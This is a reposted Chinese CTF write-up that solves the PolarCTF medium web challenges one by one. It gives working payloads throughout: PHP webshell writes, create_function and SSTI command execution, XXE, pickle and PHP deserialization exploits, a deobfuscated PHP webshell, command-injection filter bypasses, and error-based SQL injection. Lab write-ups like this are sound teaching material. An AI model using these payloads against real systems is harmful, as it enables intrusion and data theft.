0


【Web】记录Polar靶场<中等>难度题一遍过(全)

反正持续一个月,感觉XYCTF也不急着打,再沉淀沉淀吧(

到底给不给flag呢

只传GET即可,互相变量覆盖

  1. ?a=flag&flag=a

写shell

这不一眼死亡exit绕过

探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户

payload:

  1. ?filename=php://filter/convert.base64-decode/resource=1.php
  2. content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

连蚁剑,拿flag

注入

这下一眼sql注入了,但经过尝试并不行

参考文章:​​​​​​xpath注入详解

payload:

  1. ?id=']|//*|ss['

某函数的复仇

第一个参数为空的函数,特征很明显是create_function

打create_function注入即可

create_function()代码注入

payload:

  1. ?root=;}system('env');/*
  2. shaw=create_function

绷不住了,环境变量的flag又是假的,还得读文件

  1. ?root=;}system('more /f*');/*
  2. shaw=create_function

xxe

参考文章:vulhub/php/php_xxe/README.md at master · vulhub/vulhub · GitHub

访问simplexml_load_string.php

payload:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>

base64解码即可

SSTI

测出SSTI

参考文章,直接拿武器库随便试一下就可

【心得】基于flask的SSTI个人笔记-CSDN博客

payload:

  1. ?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

unpickle

题目附件

  1. import pickle
  2. import base64
  3. from flask import Flask, request
  4. app = Flask(__name__)
  5. @app.route("/")
  6. def index():
  7. try:
  8. user = base64.b64decode(request.cookies.get('user'))
  9. user = pickle.loads(user)
  10. return user
  11. except:
  12. username = "Guest"
  13. return "Hello %s" % username
  14. if __name__ == "__main__":
  15. app.run(host="0.0.0.0", port=8080)

显然一个pickle反序列化,但是从cookie处打入的

exp

  1. import requests
  2. import pickle
  3. import base64
  4. class exp(object):
  5. def __reduce__(self):
  6. return eval , ("open('/flag','r').read()", )
  7. e=exp()
  8. exp = pickle.dumps(e)
  9. user_b64 = base64.b64encode(exp).decode()
  10. print(user_b64)

Cookie处传入user=xxx即可

BlackMagic

访问/BlackMagic.php

右键查看源码

直接本地跑一下看看$strContent是什么

  1. <?php
  2. $strCharList = "\r\n\0\x0B ";
  3. $strFlag = "\r xxxxx...xxxxx \n";
  4. $strContent = trim($strFlag, $strCharList);
  5. echo urlencode($strContent);

​​​​

最终payload:

  1. ?strTmp=%09xxxxx...xxxxx%09

反序列化

链子很短

example.__destruct -> example.funnnn -> process.close

exp

环境好像有问题,找不到flag&直接读环境变量的flag不对,意思一下吧

  1. ?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}

找找shell

题目叫找找shell,那就随手试个/shell.php,真的有,但不知道密码是啥

懵逼的时候才发现有一个附件shell.txt

  1. <?php
  2. $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
  3. ?>

是一段混淆,简单处理下即可

  1. <?php
  2. $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
  3. echo $O00OO0 . "\n";
  4. $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
  5. echo $O00O0O . "\n";
  6. $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
  7. echo $O0OO00 . "\n";
  8. $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
  9. echo $OO0O00 . "\n";
  10. $OO0000=$O00OO0{7}.$O00OO0{13};
  11. echo $OO0000 . "\n";
  12. $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
  13. echo $O00O0O. "\n";

输出结果:

再对最后这段代码处理

eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

base64解码一下

得到

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

  1. <?php
  2. $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
  3. echo $O00OO0 . "\n";
  4. $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
  5. echo $O00O0O . "\n";
  6. $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
  7. echo $O0OO00 . "\n";
  8. $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
  9. echo $OO0O00 . "\n";
  10. $OO0000=$O00OO0{7}.$O00OO0{13};
  11. echo $OO0000 . "\n";
  12. $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
  13. echo $O00O0O. "\n";
  14. $O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
  15. echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));

拿到密码为usam

连蚁剑,拿flag

再来ping一波啊

随手试试可以命令执行

懒得fuzz,手测了几个waf:{、/、空格、tac、ls

index也给ban了,不知道flag在哪,只能先读index.php了,可以变量拼接绕过

  1. ;a=ind;b=ex;ta\c$IFS$9$a$b.php

往下拉直接读到flag

wu

无数字字母RCE

最简单的思路直接取反

建议用这个y4👴的一站式脚本

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: Y4tacker
  5. # @Date: 2020-11-21 20:31:22
  6. */
  7. //或
  8. function orRce($par1, $par2){
  9. $result = (urldecode($par1)|urldecode($par2));
  10. return $result;
  11. }
  12. //异或
  13. function xorRce($par1, $par2){
  14. $result = (urldecode($par1)^urldecode($par2));
  15. return $result;
  16. }
  17. //取反
  18. function negateRce(){
  19. fwrite(STDOUT,'[+]your function: ');
  20. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  21. fwrite(STDOUT,'[+]your command: ');
  22. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  23. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  24. }
  25. //mode=1代表或,2代表异或,3代表取反
  26. //取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
  27. function generate($mode, $preg="/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/"){
  28. if ($mode!=3){
  29. $myfile = fopen("rce.txt", "w");
  30. $contents = "";
  31. for ($i=0;$i<256;$i++){
  32. for ($j=0;$j<256;$j++){
  33. if ($i<16){
  34. $hex_i = '0'.dechex($i);
  35. }else{
  36. $hex_i = dechex($i);
  37. }
  38. if ($j<16){
  39. $hex_j = '0'.dechex($j);
  40. }else{
  41. $hex_j = dechex($j);
  42. }
  43. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  44. echo "";
  45. }else{
  46. $par1 = "%".$hex_i;
  47. $par2 = '%'.$hex_j;
  48. $res = '';
  49. if ($mode==1){
  50. $res = orRce($par1, $par2);
  51. }else if ($mode==2){
  52. $res = xorRce($par1, $par2);
  53. }
  54. if (ord($res)>=32&ord($res)<=126){
  55. $contents=$contents.$res." ".$par1." ".$par2."\n";
  56. }
  57. }
  58. }
  59. }
  60. fwrite($myfile,$contents);
  61. fclose($myfile);
  62. }else{
  63. negateRce();
  64. }
  65. }
  66. generate(3,"/[A-Za-z0-9]+/");
  67. //1代表模式,后面的是过滤规则

代码审计1

这个正则直接大小写绕过就可了,然后echo那部分不一眼php原生类

CTF 中 PHP原生类的利用 – JohnFrod's Blog

经过尝试可以读文件

  1. ?sys=SplFileObject&xsx=/etc/passwd

直接伪协议读flag.php

  1. ?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

base64解码拿到flag

你的马呢?

题目让我们上传php脚本

试了php,php1-5,phtml都被拦截了,那估计得传图片马了

随即看到文件包含点,靠谱

除了后缀检测,还对文件内容进行了检测,把php换成=即可

访问/index.php?file=uploads/yjh.png,连蚁剑,拿flag

ezphp

访问/robots.txt

访问/file/file.php,发现存在一个任意文件包含的点

访问/uploads/upload.php

思路很清晰,上传恶意文件然后包含

和上题一样,上传一个图片马

文件上传的路径没有回显,自己翻一翻就能找到

  1. /file/file.php?filename=../uploads/images/yjh3.png

连蚁剑,拿flag

随机值

引用取址绕过即可

  1. <?php
  2. class Index{
  3. public $Polar1;
  4. public $Polar2;
  5. public $Night;
  6. public $Light;
  7. }
  8. $a=new Index();
  9. $a->Polar1=&$a->Polar2;
  10. $a->Night=&$a->Light;
  11. echo serialize($a);

?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";R:2;s:5:"Night";N;s:5:"Light";R:3;}

phpurl

附件内容

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。

base64解码拿到index.phps

访问/index.phps

这不一眼二次url编码

payload:

  1. ?sys=%25%37%38%25%37%38%25%37%33

search

这个UI🤔一眼sql注入啊

随手一个1'直接报错,可以报错注入

过滤了空格,/**/替代即可

测出列数为5

过滤了updatexml

大小写绕过即可

  1. query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Table_name)From/**/information_schema.tables/**/Where/**/table_schema=database()),0x7e),1)#

  1. query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Column_name)From/**/information_schema.columns/**/Where/**/table_name='Flag'/**/and/**/table_schema=database()),0x7e),1)#

  1. query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/group_Concat(Flag)/**/From/**/Flag),0x7e),1)#

回显长度不够,substr截一下

  1. query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),1,31)/**/From/**/Flag),0x7e),1)#

  1. query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),32,60)/**/From/**/Flag),0x7e),1)#

file

dirsearch扫出来如下

把button的disabled属性给删掉

上传文件改mimetype即可

访问/uploaded/yjh3.php

连蚁剑,拿flag

PlayGame

瞪眼看链子

PlayGame.__destruct -> User.__toString -> PlayGame.__toString -> PlayGame.openGame()

构造exp

  1. $b=new User();
  2. $a=new PlayGame();
  3. $c=new PlayGame();
  4. $b->name=$c;
  5. $a->user=$b;
  6. $c->gameFile="/flag";
  7. echo serialize($a);

注意传参的时候要polar[flag.flag,不多解释

payload:

  1. ?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";N;}

右键查看源码拿到flag

csdn

初始界面右键查看源码

?xxs=file:///ect/passwd测出文件包含

?xxs=file:///flag.txt拿到flag

我寻思这也不在flag目录下啊🤔

标签: polarctf ctf web

本文转载自: https://blog.csdn.net/uuzeray/article/details/137217842
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】记录Polar靶场<中等>难度题一遍过(全)”的评论:

还没有评论